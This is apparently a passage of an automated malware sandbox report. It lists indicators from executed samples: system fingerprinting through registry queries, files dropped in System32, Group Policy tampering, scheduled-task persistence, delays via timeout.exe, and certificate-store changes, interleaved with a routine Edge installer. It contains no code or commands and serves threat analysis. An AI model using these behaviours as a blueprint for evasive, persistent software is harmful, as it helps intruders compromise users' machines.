Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\Pictures\SEEtKJ0XozwUKRMZhGWizSlI.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy C:\Users\Admin\Pictures\SEEtKJ0XozwUKRMZhGWizSlI.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini C:\Users\Admin\Pictures\SEEtKJ0XozwUKRMZhGWizSlI.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI C:\Users\Admin\Pictures\SEEtKJ0XozwUKRMZhGWizSlI.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\krdeMCnRKomDOvwVunR\IotHIfK.dll C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File created C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_ro.dll C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
File created C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_mt.dll C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Trust Protection Lists\Sigma\LICENSE C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\de.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\msedge.exe.sig C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\Locales\lo.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_nl.dll C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\PdfPreview\PdfPreviewHandler.dll C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\pl.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\tt.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\msedge_proxy.exe C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\PdfPreview\PdfPreviewHandler.dll C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\af.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\identity_proxy\resources.pri C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\psuser_arm64.dll C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
File created C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_uk.dll C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\msedge.dll C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\zh-CN.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\es-419.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\hr.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\identity_proxy\canary.identity_helper.exe.manifest C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\identity_proxy\resources.pri C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_gu.dll C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\libGLESv2.dll C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\ka.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\Trust Protection Lists\Sigma\Content C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\Trust Protection Lists\Mu\LICENSE C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\Locales\bg.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\identity_proxy\win11\identity_helper.Sparse.Canary.msix C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\sr.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\ur.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\Locales\lv.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeWebView\Application\SetupMetrics\b9829105-239c-456b-b5f1-f9201a8a0ed6.tmp C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_hr.dll C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeUpdate\Download\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}\125.0.2535.79\MicrosoftEdge_X64_125.0.2535.79.exe C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\BHO\ie_to_edge_bho.dll C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\Locales\gu.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Trust Protection Lists\Sigma\Fingerprinting C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\VisualElements\LogoDev.png C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\WidevineCdm\manifest.json C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\km.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\msedgewebview2.exe.sig C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\msedge_200_percent.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\Trust Protection Lists\Mu\Entities C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\d3dcompiler_47.dll C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\ca-Es-VALENCIA.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\fr.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\msedge_pwa_launcher.exe C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\ar.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\es.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\Locales\ar.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\Locales\lb.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_el.dll C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\fa.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Trust Protection Lists\Sigma\Cryptomining C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Trust Protection Lists\Sigma\Staging C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_tt.dll C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\concrt140.dll C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File created C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_ja.dll C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
File created C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\th.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\fr.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Locales\uk.pak C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.79\Trust Protection Lists\Sigma\Fingerprinting C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\jiLwFdOzPPQiWLm.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\QdCYtDviHOrgqJLgZ.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\axplont.job C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
File created C:\Windows\Tasks\bqGGCwwWIommTRgeuN.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\WKALCIrwIEiqhKBsn.job C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
